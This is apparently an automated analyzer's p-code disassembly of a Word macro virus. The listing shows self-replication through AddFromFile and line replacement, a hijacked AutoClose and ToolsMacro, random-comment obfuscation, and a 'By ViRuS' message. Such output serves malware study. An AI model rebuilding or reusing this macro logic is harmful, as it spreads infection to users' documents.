' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0079 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld vbCritical 
' 	ArgsCall MsgBox 0x0002 
' 	EndIf 
' Line #57:
' 	QuoteRem 0x0000 0x0059 "399312295845474490504042.18603137172249E+223993122958454744905040439931229584547449050404"
' Line #58:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitDI2 0x0047 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0049 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004C 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	Ld sx 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #59:
' 	QuoteRem 0x0000 0x0053 "2713597291047091937442.84138584381803E+19271359729104709193744271359729104709193744"
' Line #60:
' 	StartWithExpr 
' 	Ld sx 
' 	MemLd codemodule 
' 	With 
' Line #61:
' 	QuoteRem 0x0000 0x0056 "75656943615146154126893.89342292586486E+2175656943615146154126897565694361514615412689"
' Line #62:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #63:
' 	QuoteRem 0x0000 0x0056 "61712496400721158799364.45045098093323E+2161712496400721158799366171249640072115879936"
' Line #64:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #65:
' 	QuoteRem 0x0000 0x0053 "7365253215863087412644.31831233864574E+20736525321586308741264736525321586308741264"
' Line #66:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	QuoteRem 0x0000 0x0053 "2039755240092505924001.88689443210042E+20203975524009250592400203975524009250592400"
' Line #68:
' 	EndWith 
' Line #69:
' 	QuoteRem 0x0000 0x0053 "5646564062511865958096.70018925181251E+19564656406251186595809564656406251186595809"
' Line #70:
' 	Ld xg 
' 	LitDI2 0x00AE 
' 	Lt 
' 	IfBlock 
' Line #71:
' 	QuoteRem 0x0000 0x0050 "468332881119047738815.57539704934228E+184683328811190477388146833288111904773881"
' Line #72:
' 	StartWithExpr 
' 	Ld sx 
' 	MemLd codemodule 
' 	With 
' Line #73:
' 	QuoteRem 0x0000 0x0059 "250512921763130111566767.84133394023819E+212505129217631301115667625051292176313011156676"
' Line #74:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #75:
' 	QuoteRem 0x0000 0x0059 "404850616814273106161001.72996966497546E+224048506168142731061610040485061681427310616100"
' Line #76:
' 	LitDI2 0x00B1 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #77:
' 	QuoteRem 0x0000 0x0050 "812341690030460464812.47443054619409E+198123416900304604648181234169003046046481"
' Line #78:
' 	EndWith 
' Line #79:
' 	QuoteRem 0x0000 0x0056 "56163786121140479385767.88985417623409E+2056163786121140479385765616378612114047938576"
' Line #80:
' 	EndIfBlock 
' Line #81:
' 	QuoteRem 0x0000 0x0059 "303515630893849197355611.16829156380809E+223035156308938491973556130351563089384919735561"
' Line #82:
' 	StartWithExpr 
' 	Ld sx 
' 	MemLd codemodule 
' 	With 
' Line #83:
' 	QuoteRem 0x0000 0x0053 "4663660681408896929441.90695653241096E+20466366068140889692944466366068140889692944"
' Line #84:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x00B0 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #85:
' 	QuoteRem 0x0000 0x0056 "29503364891237259520093.65033190848416E+2029503364891237259520092950336489123725952009"
' Line #86:
' 	LitDI4 0x59E3 0x0009 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xA375 0x0004 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x2125 
' 	Add 
' 	St r 
' Line #87:
' 	QuoteRem 0x0000 0x0053 "5299664411409649552097.47066956178381E+19529966441140964955209529966441140964955209"
' Line #88:
' 	LitDI4 0x665E 0x0007 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xFDC9 0x000B 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0BAC 
' 	Add 
' 	St o 
' Line #89:
' 	QuoteRem 0x0000 0x0053 "1840607756171879875241.32302655874244E+20184060775617187987524184060775617187987524"
' Line #90:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld r 
' 	Ld r 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld r 
' 	Ld r 
' 	Mul 
' 	Ld o 
' 	Mul 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld r 
' 	Ld r 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	Ld r 
' 	Ld r 
' 	Mul 
' 	Concat 
' 	Ld o 
' 	Ld o 
' 	Mul 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #91:
' 	QuoteRem 0x0000 0x0059 "843594598091586253652841.33815501273635E+228435945980915862536528484359459809158625365284"
' Line #92:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #93:
' 	QuoteRem 0x0000 0x0056 "33770677824133663657694.51391232062641E+2033770677824133663657693377067782413366365769"
' Line #94:
' 	EndWith 
' Line #95:
' 	QuoteRem 0x0000 0x0059 "275496923614571625950441.25946888524186E+222754969236145716259504427549692361457162595044"
' Line #96:
' 	LineNum 97 
' 	BoS 0x0000 
' Line #97:
' 	QuoteRem 0x0000 0x0056 "16151868100687546085211.11051536809833E+2116151868100687546085211615186810068754608521"
' Line #98:
' 	Ld xg 
' 	LitDI2 0x00AE 
' 	Gt 
' 	Ld gx 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #99:
' 	QuoteRem 0x0000 0x0059 "116318382012069094461292.40673719963105E+211163183820120690944612911631838201206909446129"
' Line #100:
' 	EndSub 
' Line #101:
' 	QuoteRem 0x0000 0x0050 "568202569149550886818.49751980816702E+185682025691495508868156820256914955088681"
' Line #102:
' 	FuncDefn (Private Sub ©())
' Line #103:
' 	QuoteRem 0x0000 0x0055 "49243604281200137609009.8554972193415E+2049243604281200137609004924360428120013760900"
' Line #104:
' 	Label Top 
' Line #105:
' 	QuoteRem 0x0000 0x0056 "10960624249982841310091.07725542962914E+2110960624249982841310091096062424998284131009"
' Line #106:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Add 
' 	St I 
' Line #107:
' 	QuoteRem 0x0000 0x0056 "14733314564594453749766.76915323265856E+2014733314564594453749761473331456459445374976"
' Line #108:
' 	OnError (Resume Next) 
' Line #109:
' 	QuoteRem 0x0000 0x0058 "804198850565877261566894.7264869965334E+228041988505658772615668980419885056587726156689"
' Line #110:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #111:
' 	QuoteRem 0x0000 0x0059 "355616620845675784108842.01840316540305E+223556166208456757841088435561662084567578410884"
' Line #112:
' 	Ld wdWindowStateMaximize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #113:
' 	QuoteRem 0x0000 0x0056 "23464336006193658520041.45330084583481E+2123464336006193658520042346433600619365852004"
' Line #114:
' 	Ld I 
…

Open this report in the interactive analyzer, or submit your own file for analysis.